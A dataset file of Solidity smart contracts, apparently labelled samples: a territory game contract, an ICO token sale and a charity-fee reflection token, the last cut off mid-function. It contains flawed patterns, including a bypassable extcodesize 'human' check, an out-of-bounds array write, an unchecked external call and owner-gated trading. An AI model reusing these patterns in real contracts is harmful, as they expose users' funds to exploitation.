}
function buyname( string _name)
public
payable
{
RequireHuman();
bytes32 name=nameFilter(_name);
address prevowner=ownerXname[name];
require(prevowner!=msg.sender);
uint256 buyprice = 3*priceXname[name]/2;
if (3 finney > buyprice){
buyprice = 3 finney;
}
require(msg.value>=buyprice);
uint256 fee;
uint256 topot;
uint256 reimbursement;
if (prevowner==address(0)){
Rounds[roundID].pot+=msg.value ;
}
else{
fee = buyprice/20;
topot = msg.value-buyprice;
reimbursement=buyprice-fee;
if (topot>0){
Rounds[roundID].pot+=topot;
}
}
nameXaddress[prevowner]='';
ownerXname[name]=msg.sender;
priceXname[name]=msg.value;
bytes32 prevname = nameXaddress[msg.sender];
nameXaddress[msg.sender]=name;
emit onbuyname(
name,
msg.value,
prevname,
msg.sender
);
if (fee>0){
admin.transfer(fee);
}
if (reimbursement>0){
prevowner.transfer(reimbursement);
}
}
function switchname(bytes32 name)
public
{
require(ownerXname[name]==msg.sender);
nameXaddress[msg.sender]=name;
}
function clearname()
public
{
bytes32 empty;
nameXaddress[msg.sender]=empty;
}
function getownership(uint16 terr)
private
view
returns(uint16)
{
return(uint16((Rounds[roundID].owners[terr/32]&(255*2**(8*(uint256(terr%32)))))/(2**(uint256(terr)%32*8))));
}
function getownership2(uint16 terr,uint256 ownuint)
private
pure
returns(uint16)
{
return(uint16((ownuint&255*2**(8*(uint256(terr)%32)))/(2**(uint256(terr)%32*8))));
}
function setownership(uint16 terr, uint16 team)
private
{
Rounds[roundID].owners[terr/32]=(Rounds[roundID].owners[terr/32]&(115792089237316195423570985008687907853269984665640564039457584007913129639935-(255*(2**(8*(uint256(terr)%32))))))|(uint256(team)*2**((uint256(terr)%32)*8));
}
function areadjacent(uint16 terr1, uint16 terr2)
private
view
returns(bool)
{
for (uint i=0;i<19;i++){
if (adjacencies[terr1][i]==terr2){
return true;
}
if (adjacencies[terr1][i]==0){
return false;
}
}
return false;
}
function hasteamadjacency(uint16 terr,uint16 team)
private
view
returns(bool)
{
for (uint i = 0; i<adjacencies[terr].length;i++){
if (getownership(adjacencies[terr][i])==team){
return true;
}
}
return false;
}
function RequireHuman()
private
view
{
uint256 size;
address addr = msg.sender;
assembly {size := extcodesize(addr)}
require(size == 0 );
}
function colorfilter(uint256 RGB)
public
pure
returns(uint256)
{
RGB=RGB&14737632;
require(RGB!=12632256);
require(RGB!=14704640);
require(RGB!=14729344);
require(RGB!=8421504);
require(RGB!=224);
require(RGB!=8404992);
return(RGB);
}
function getbalance(uint rID)
public
view
returns(uint256)
{
uint16 team;
uint256 balance;
for (uint i = playerlastroundwithdrawn[msg.sender]+1;i<rID;i++){
if (Rounds[i].validrollsXaddr[msg.sender]==0){
continue;
}
team=Rounds[i].teamXaddr[msg.sender];
balance += (Rounds[i].teampotshare[team]*Rounds[i].validrollsXaddr[msg.sender])/Rounds[i].validrollsXteam[team];
}
return balance;
}
function nameFilter(string _input)
public
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 64 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
for (uint256 i = 0; i < _length; i++)
{
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b)
);
if (_temp[i] == 0x20){
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
}
}
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
function readowners()
view
public
returns(uint256[101])
{
return(Rounds[roundID].owners);
}
function readownerXname(string name)
view
public
returns(address)
{
return(ownerXname[nameFilter(name)]);
}
function readisnameregistered(string name)
view
public
returns(bool)
{
return(Rounds[roundID].isnameregistered[nameFilter(name)]);
}
function readnameXaddress(address addr)
view
public
returns(bytes32)
{
return(nameXaddress[addr]);
}
function readpriceXname(string name)
view
public
returns(uint256)
{
return(priceXname[nameFilter(name)]*3/2);
}
function readteamXaddr(address adr)
view
public
returns(uint16){
return(Rounds[roundID].teamXaddr[adr]);
}
function readvalidrollsXteam(uint16 tim)
view
public
returns(uint256){
return(Rounds[roundID].validrollsXteam[tim]);
}
function readvalidrollsXaddr(address adr)
view
public
returns(uint256){
return(Rounds[roundID].validrollsXaddr[adr]);
}
function readnationnameXteam()
view
public
returns(bytes32[256]){
bytes32[256] memory temp;
for (uint16 i = 0; i<256; i++){
temp[i]=Rounds[roundID].nationnameXteam[i];
}
return(temp);
}
function readcolorXteam()
view
public
returns(uint256[256]){
uint256[256] memory temp;
for (uint16 i = 0; i<256; i++){
temp[i]=Rounds[roundID].colorXteam[i];
}
return(temp);
}
function readiscolorregistered(uint256 rgb)
view
public
returns(bool){
return(Rounds[roundID].iscolorregistered[colorfilter(rgb)]);
}
function readhistoricalrounds()
view
public
returns(bytes32[]){
bytes32[] memory asdfg=new bytes32[](2*roundID-2);
for (uint256 i = 1;i<roundID;i++){
asdfg[2*i]=Rounds[roundID].winner;
asdfg[2*i+1]=bytes32(Rounds[roundID].pot);
}
return asdfg;
}
function addadjacencies(uint16[] indexes,uint16[] numvals,uint16[] adjs)
public
{
require(msg.sender==admin);
require(!isactive);
uint cnt=0;
for (uint i = 0; i<indexes.length;i++){
for (uint j = 0;j<numvals[i];j++){
adjacencies[indexes[i]][j]=adjs[cnt];
cnt++;
}
}
}
function finishedloading()
public
{
require(msg.sender==admin);
require(!isactive);
isactive=true;
roundID=1;
uint256 _rID=roundID;
Rounds[_rID].roundstart =block.timestamp;
Rounds[_rID].beginterritories =beginterritories;
Rounds[_rID].maxroll = maxroll;
Rounds[_rID].trucetime = trucetime;
Rounds[_rID].price = price;
Rounds[_rID].maxextensiontruce = maxextensiontruce;
}
function changesettings( uint16 _beginterritories, uint16 _maxroll,uint256 _trucetime,uint256 _price,uint256 _maxextensiontruce)
public
{
require(msg.sender==admin);
beginterritories = _beginterritories ;
maxroll = _maxroll;
trucetime = _trucetime;
price = _price;
maxextensiontruce = _maxextensiontruce;
}
struct RoundData{
uint256[101] owners;
mapping(address=>uint16) teamXaddr;
mapping(uint16=>uint256) validrollsXteam;
mapping(address=>uint256) validrollsXaddr;
mapping(uint16=>uint256) teampotshare;
mapping(uint16=>bytes32) nationnameXteam;
uint256 pot;
mapping(uint16=>uint256) colorXteam;
mapping(uint256=>bool) iscolorregistered;
mapping(bytes32=>bool) isnameregistered;
uint16 teamcnt;
uint256 roundstart;
uint16 beginterritories;
uint16 maxroll;
uint256 trucetime;
uint256 price;
uint256 maxextensiontruce;
bytes32 winner;
}
event oncreatenation(
bytes32 leadername,
bytes32 nationname,
uint256 color,
uint16 team,
uint16[] territories,
address addr
);
event onroll(
bytes32 playername,
bytes32 nationname,
uint256 rolled,
uint16 team,
uint16[] territories,
address addr
);
event onbuyname(
bytes32 newname,
uint256 price,
bytes32 prevname,
address addr
);
event onendround(
);
} | 1 | 4,315 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CompletelyDecentralizedWorld is StandardToken {
string public constant name = "CompletelyDecentralizedWorld";
string public constant symbol = "CDW";
uint public constant decimals = 18;
uint teamPartToken = 50000000 * (10 ** uint256(decimals));
uint communityBuildingToken = 30000000 * (10 ** uint256(decimals));
uint16[4] public bonusPercentages = [30,20,10,0];
uint public constant NUM_OF_PHASE = 4;
uint public constant BLOCK_PER_PHASE = 150000;
address public constant target = 0xEAD3346C806803e1500d96B9a2D7065d0526Caf6;
address public constant addr_teamPartToken = 0x898f9ca9cf198E059396337A7bbbBBed59856089;
bool teamPartTokenIssued = false;
address public constant addr_communityBuildingToken = 0x8E5A7df3fDbbB467a1D6feed337EC2e1938AAb3f;
bool communityBuildingTokenIssued = false;
uint public firstblock = 0;
uint public constant HARD_CAP = 20000 ether;
uint public constant BASE_RATE = 25000;
uint public totalEthReceived = 0;
uint public issueIndex = 0;
event SaleStarted();
event SaleEnded();
event InvalidCaller(address caller);
event InvalidState(bytes msg);
event Issue(uint issueIndex, address addr, uint ethAmount, uint tokenAmount);
event SaleSucceeded();
event SaleFailed();
modifier onlyOwner {
if (target == msg.sender) {
_;
} else {
InvalidCaller(msg.sender);
revert();
}
}
modifier beforeStart {
if (!saleStarted()) {
_;
} else {
InvalidState("Sale has not started yet");
revert();
}
}
modifier inProgress {
if (saleStarted() && !saleEnded()) {
_;
} else {
InvalidState("Sale is not in Progress");
revert();
}
}
modifier afterEnd {
if (saleEnded()) {
_;
} else {
InvalidState("Sale is not ended yet");
revert();
}
}
function start(uint _firstblock) public onlyOwner beforeStart {
if (_firstblock <= block.number) {
revert();
}
firstblock = _firstblock;
SaleStarted();
issueTeamPartToken();
issueCommunityBuildingToken();
}
function close() public onlyOwner afterEnd {
issueTeamPartToken();
issueCommunityBuildingToken();
SaleSucceeded();
}
function price() public constant returns (uint tokens) {
return computeTokenAmount(1 ether);
}
function () public payable{
issueToken(msg.sender);
}
function issueToken(address recipient) public payable inProgress{
assert(msg.value >= 0.01 ether);
uint tokens = computeTokenAmount(msg.value);
totalEthReceived = totalEthReceived.add(msg.value);
totalSupply = totalSupply.add(tokens);
balances[recipient] = balances[recipient].add(tokens);
Issue(issueIndex++, recipient, msg.value, tokens);
if (!target.send(msg.value)){
revert();
}
}
function computeTokenAmount(uint ethAmount) internal constant returns (uint tokens) {
uint phase = (block.number - firstblock).div(BLOCK_PER_PHASE);
if (phase >= bonusPercentages.length) {
phase = bonusPercentages.length - 1;
}
uint tokenBase = ethAmount.mul(BASE_RATE);
uint tokenBonus = tokenBase.mul(bonusPercentages[phase]).div(100);
tokens = tokenBase.add(tokenBonus);
}
function issueTeamPartToken() internal {
if(teamPartTokenIssued){
InvalidState("teamPartToken has been issued already");
} else {
totalSupply = totalSupply.add(teamPartToken);
balances[addr_teamPartToken] = balances[addr_teamPartToken].add(teamPartToken);
Issue(issueIndex++, addr_teamPartToken, 0, teamPartToken);
teamPartTokenIssued = true;
}
}
function issueCommunityBuildingToken() internal {
if(communityBuildingTokenIssued){
InvalidState("communityBuildingToken has been issued already");
} else {
totalSupply = totalSupply.add(communityBuildingToken);
balances[addr_communityBuildingToken] = balances[addr_communityBuildingToken].add(communityBuildingToken);
Issue(issueIndex++, addr_communityBuildingToken, 0, communityBuildingToken);
communityBuildingTokenIssued = true;
}
}
function saleStarted() public constant returns (bool) {
return (firstblock > 0 && block.number >= firstblock);
}
function saleEnded() public constant returns (bool) {
return firstblock > 0 && (saleDue() || hardCapReached());
}
function saleDue() public constant returns (bool) {
return block.number >= firstblock + BLOCK_PER_PHASE*NUM_OF_PHASE;
}
function hardCapReached() public constant returns (bool) {
return totalEthReceived >= HARD_CAP;
}
} | 1 | 3,557 |
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract DONATE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public charityAddress =
payable(0x461c2bb3826216313e947b56dE96B589E9a553ee);
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000 * 10**9;
uint256 private _tFeeTotal;
string private _name = 'TRADE2DONATE';
string private _symbol = 'DONATE';
uint8 private _decimals = 9;
uint256 public _charityFee = 5;
uint256 private _previousCharityFee = _charityFee;
uint256 private _feeRate = 5;
uint256 launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool tradingOpen = false;
uint256 public _maxTxAmount = 10**4 * 10**9;
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
}
function openTrading() external onlyOwner {
_charityFee = _previousCharityFee;
tradingOpen = true;
launchTime = block.timestamp;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return (_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
)
public
override
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) private {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tTotal = _tTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
if(from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(tradingOpen, 'Trading not yet enabled.');
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && tradingOpen && to == uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (
contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)
) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(
100
);
}
swapTokens(contractTokenBalance);
}
}
bool takeFee = false;
if (
(from == uniswapV2Pair || to == uniswapV2Pair) &&
!(_isExcludedFromFee[from] || _isExcludedFromFee[to])
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToCharity(address(this).balance);
}
}
function sendETHToCharity(uint256 amount) private {
charityAddress.call{value: amount}("");
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 tTransferAmount,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 tTransferAmount,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
